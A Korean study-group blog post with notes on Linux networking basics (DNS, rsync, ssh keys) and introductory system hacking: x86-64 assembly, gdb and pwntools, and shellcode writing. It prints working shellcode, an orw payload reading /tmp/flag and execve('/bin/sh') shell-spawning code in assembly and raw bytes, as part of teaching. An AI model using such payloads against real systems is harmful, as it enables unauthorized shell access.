본문 바로가기

3. Pwnable (포너블)/2) 개념 정리

[24.05.04] 4주차 활동 - 리눅스 기초, 포너블 기초

1. 인프런 '생활코딩-리눅스' 강의를 함께 듣고 공부했다.

  • 섹션 10. 도메인
  • 섹션 11. 인터넷을 통한 서버간 동기화
  • 섹션 12. 로그인 없이 로그인 하기

https://inf.run/9Yxy

 

[지금 무료] 생활코딩 - Linux | Egoing Lee - 인프런

Egoing Lee | 본 수업에서는 리눅스의 사용법을 다룹니다. 특히 초심자들이 어려워하는 부분이 명령어를 이용해서 컴퓨터를 제어하는 법입니다. 여기서는 초심자가 명령어를 사용하는데 필요한 가

www.inflearn.com

 

2. 드림핵 'System Hacking' 로드맵을 함께 듣고 공부했다.

  • System Hacking Introduction
  • Background - Computer Science
  • Tool Installation
  • Shellcode

https://dreamhack.io/lecture/roadmaps/2

 

System Hacking

시스템 해킹을 공부하기 위한 로드맵입니다.

dreamhack.io


섹션 10. 도메인

1. DNS (Domain name system)

사용자가 브라우저를 통해 도메인 이름 (예: google.com)으로 서버에 접속할 때, DNS 서버를 통해 해당 도메인의 IP 주소를 조회하여 실제 서버에 연결합니다.

 

2. hosts 파일

: 도메인 네임과 IP Address를 매핑하는 파일. 각각의 컴퓨터마다 hosts 파일을 가지며, DNS 이전에는 hosts 파일을 통해 접속.

 

- 어떤 도메인에 접속 시도를 하면 local의 hosts 파일부터 살피게 되고, 찾는 내용이 없을 때 DNS에 접속 → 이런 특성 때문에 hosts에 대한 악의적인 변조 공격이 가능

 

network : 각 host의 모임
internet : network의 모임

 

3. 도메인 구입

: 도메인 네임을 독점적으로 사용하기 위해서 도메인을 구입. 도메인 네임을 구입하고 `curl` 명령어를 통해 나온 IP 주소를 등록하면 사용 가능.

 

4. 서브 도메인

: 하나의 서버는 하나의 도메인과 매칭. 서브 도메인은 서버가 여러개일때 도메인을 재사용하는 것.

ex) egoing.ga -> admin.egoing.ga, blog.egoing.ga 등등

 

5. DNS의 동작 원리

`dig +trace egoing.ga` : 도메인의 IP 주소를 리턴하기 위해 거쳐가는 서버들을 알려줌

 

(1) egoing.ga. 에 접속한다.
(2) root DNS에.ga를 담당하는 DNS 서버 목록을 물어본다.
(3) 반환받은 DNS 서버(ga DNS 서버) 중에 하나에 egoing.ga.를 관리하는 DNS 서버를 물어본다.
(4) 반환받은 DNS 서버(egoing.ga DNS 서버)에 최종적으로 IP 주소를 묻게된다  최종적으로 IP 주소가 나올 때까지 DNS 서버에 묻는 것을 반복한다.

 

섹션 11. 인터넷을 통한 서버간 동기화 rsync

rsync 1 : Basic

`r` : remote의 약자
`sync` : 각 컴퓨터의 변경내용을 다른 컴퓨터에도 반영되도록하여 동일한 상태를 유지하는것.

`rsyn`c : 인터넷을 통해 sync할 수 있도록하는 프로그램. 파일 카피, 백업 등에 사용.

`rsync -av src/ dest` : 변동 내용만 복제.

 

src와 dest 디렉토리를 만들어 두 디렉토리를 동기화, src 폴더에 파일을 만든 후 `rsync -a src/ dest`를 입력하면 dest라는 디렉토리 안에 src 디렉토리 아래의 파일이 복제됨.

 

rsync 2 : Remote sync

다른 컴퓨터에 sync를 진행

(1) 동기화하고자 하는 컴퓨터의 IP를 알아낸다
(2) `rsync -azP ~/rsync/src/ k8805@192.168.0.65:~/rsync/dest` 를 통해 dest 디렉토리에 src의 파일을 복제할 수 있다.   (cf. -z : zip)

 

섹션 12. 로그인 없이 로그인 하기 ssh key

ssh public private key

: ssh 공개키, 비공개 키를 이용해 로그인

 

`ssh-keygen` : /home/egoing/.ssh/id_rsa에 키쌍을 생성. id_ras (비밀키), id_rsa.pub (공개키) 파일 생성.

 

로그인하고자하는 컴퓨터에 공개키를 저장하게 되면 비밀번호 없이 로그인 가능.
: authorized_keys에 pub key를 추가하면 됨 →  `ssh-copy-id egoing@192.168.0.67`를 이용해 추가 가능 (여기서 egoing@192.168.0.67는 로그인하고자 하는 컴퓨터)

 

rsync

: ssh키를 이용하면 로그인 없이 rsync를 이용할 수 있음  →   crone 기능을 이용하여 자동화를 할 수 있음

 

RSA

비대칭 암호화 : 암호화와 복호화에 사용되는 키가 다른 암호화
암호화는 비밀키를 통해, 복호화는 공개키를 통해서 진행

 

ssh 인증과정

  1. ssh client가 ssh sever(접속대상)에 접속하면 ssh sever가 랜덤키를 전달한다
  2. ssh client는 랜덤키를 id_rsa(비밀키) 통해 암호화하여 sever에 전달한다
  3. ssh sever는 authorized_keys에 저장된 client의 공개키를 이용하여 복호화하여 전달한 랜덤키의 값과 같은지 확인한다.

System Hacking Introduction

환경구축

Ubuntu 22.04 기반 

윈도우 : VMware, VirtualBox, WSL2

맥 : VirtualBox

 

Background - Computer Science

1. Computer Architecture

(1) 컴퓨터 구조

: 컴퓨터가 효율적으로 작동할 수 있도록 하드웨어 및 소프트웨어의 기능을 고안하고, 이들을 구성하는 방법. 컴퓨터의 기능 구조에 대한 설계, 명령어 집합구조, 마이크로 아키텍처, 하드웨어 및 컴퓨팅 방법에 대한 설계 등.

 

- 폰 노이만 구조 : 중앙처리장치(CPU) + 기억장치(memory) + 버스(bus)

 

(2) 명령어 집합 구조 (ISA)

: CPU가 해석하는 명령어의 집합. IA-32, x86-64(x64), MIPS, AVR 등 다양한 연산 수준과 컴퓨터 환경에 맞추기 위해 개발.

 

(3) x86-64 아키텍처

: 가장 널리 사용되는 ISA

인텔의 32비트 CPU 아키텍처 IA-32 ---(64비트 확장)--> AMD의 AMD64 아키텍처 

-> 이를 기반으로 발표된 다양한 이름의 아키텍처 => x86-64 (범용적, 중립적 지칭)

 

(4) x86-64 아키텍처의 레지스터

레지스터 : CPU가 데이터를 빠르게 저장하고 사용할 때 이용하는 보관소

  • 범용 레지스터(General Register)
  • 세그먼트 레지스터(Segment Register)
  • 플래그 레지스터(Flag Register)

레지스터 호환 : x86-64는 IA-32의 64비트 확장 아키텍처이므로 호환이 가능

 

2. Linux Memory Layout

(1) 세그먼트 (Segment) : 적재되는 데이터의 용도별로 메모리의 구획을 나눈 것

(2) 코드 세그먼트 (Code Segment) : 텍스트 세그먼트(Text Segment) ,  실행 가능한 기계 코드가 위치하는 영역

(3) 데이터 세그먼트 (Data Segment) : 컴파일 시점에 값이 정해진 전역 변수 및 전역 상수들이 위치

(4) BSS 세그먼트 (BSS Segment, Block Started By Symbol Segment) : 컴파일 시점에 값이 정해지지 않은 전역 변수가 위치

(5) 스택 세그먼트 (Stack Segment) : 프로세스의 스택이 위치. 

(6) 힙 세그먼트 (Heap Segment) : 힙 데이터가 위치. 실행중에 동적으로 할당. 스택 세그먼트와 반대 방향으로 자람(충돌 방지).

 

3. x86 Assembly

(1) 어셈블리어 (Assembly Language)

: 컴퓨터의 기계어와 치환되는 언어. 명령어 집합구조가 다양함에 따라 어셈블리어도 여러 종류,

- 어셈블러(Assembler) : 어셈블리어 -> 기계

- 역어셈블러(Disassembler) : 기계어 -> 어셈블리어

 

(2) x86-64 어셈블리어

- 기본 구조 : 명령어(Operation Code, Opcode) + 피연산자(Operand)

- 명령어

  • 데이터 이동 : mov, lea
  • 산술 연산: add, sub, inc, dec
  • 논리 연산: and, or, xor, not
  • 비교: cmp, test
  • 분기: jmp, je, jg
  • 스택 : push, pop
  • 프로시져 : call, ret, leave
  • 시스템 콜 : syscall

- 피연산자 : []으로 둘러싸인 것으로 표현 

  • 상수(Immediate Value)
  • 레지스터(Register)
  • 메모리(Memory)
  • 앞에 크기 지정자(Size Directive) TYPE PTR이 추가될 수 있음.
    : BYTE(1바이트), WORD(2바이트), DWORD(4바이트), QWORD(8바이트)

 

Tool Installation

1. gdb

: 바이너리 분석 용도 플러그인

  • entry: 진입점에 중단점을 설정한 후 실행
  • break(b): 중단점 설정
  • continue(c): 계속 실행
  • disassemble: 디스어셈블 결과 출력
  • u, nearpc, pd: 디스어셈블 결과 가독성 좋게 출력
  • x: 메모리 조회
  • run(r): 프로그램 처음부터 실행
  • context: 레지스터, 코드, 스택, 백트레이스의 상태 출력
  • nexti(ni): 명령어 실행, 함수 내부로는 들어가지 않음
  • stepi(si): 명령어 실행, 함수 내부로 들어감
  • telescope(tele): 메모리 조회, 메모리값이 포인터일 경우 재귀적으로 따라가며 모든 메모리값 출력
  • vmmap: 메모리 레이아웃 출력

2. pwntools

: 바이너리 익스플로잇과 같은 보안 문제를 해결하기 위한 파이썬 라이브러리

  • process & remote : 익스프로잇 수행
  • send & recv :  데이터 송수신
  • packing & unpacking : 정수 <-> 바이트 배열
  • interacitve : 프로세스 또는 서버와 터미널로 직접 통신
  • context.arch: 익스플로잇 대상의 아키텍처
  • context.log_level: 익스플로잇 과정에서 출력할 정보의 중요도
  • ELF: ELF헤더의 여러 중요 정보 수집
  • shellcraft: 다양한 셸 코드를 제공
  • asm: 어셈블리 코드를 기계어로 어셈블

Shellcode

익스플로잇(Exploit) : 상대 시스템을 공격하는 것

셸코드(Shellcode) : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸코드는 어셈블리어로 구성되며 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성.

 

1. orw 셸코드

: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.

 

[예시] "/tmp/flag"를 읽는 셸코드

 

-  셸코드의 동작을 C언어 형식의 의사코드로 표현한 것

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

 

- 필요 syscall

syscall rax rdi rsi rdx
read 0x00 fd *buf count
write 0x01 fd buf* count
open 0x02 *filename flags mode

 

- c 코드 어셈블리어 구현

(1) open : int fd = open("/tmp/flag", RD_ONLY, NULL);

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2 
syscall

 

(2) read : read(fd, buf, 0x30);

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

 

(3) write : write(1, buf, 0x30);

mov rdi, 1
mov rax, 0x1
syscall

 

2. execve 셸코드

: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득. 

syscall rax rdi rsi rdx
execve 0x3b *filename *argv *envp

- argv : 실행파일에 넘겨줄 인자 / envp : 환경변수


- `evecve("/bin/sh", null, null)` 어셈블리어로 작성

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

 

 

3. 셸코드 제작

 

- 셸코드 컴파일 및 실행

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c    # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

위 스켈레톤 코드의 `__asm__ ` 함수 안에 작성한 어셈블리어를 입력하고 `gcc -o name name.c -masm=intel` 통해 컴파일하여 실행하면 셸코드를 실행해볼 수 있다.

 

- 셸코드를 바이트코드(opcode)로 추출

(1) 셸코드 asm 파일 생성

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

(2) shellcode.o 파일 생성 후 objdump로 확인

$ sudo apt-get install nasm   # nasm 패키지 설치
$ nasm -f elf shellcode.asm   # 소스파일을 ELF 형식의 오브젝트 파일(shellcode.o)로 컴파일
$ objdump -d shellcode.o      # objdump 사용하여 오브젝트 파일을 디스어셈블
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

(3) 실행결과에서 기계어 코드 부분을 추출해 바이트 코드 생성

$ objcopy --dump-section .text=shellcode.bin shellcode.o # .text 섹션 추출하여 저장
$ xxd shellcode.bin                                      # 파일 내용을 헥사덤프형태로 출력
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

(4) 완성된 바이트 코드

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

[실습] shell_basic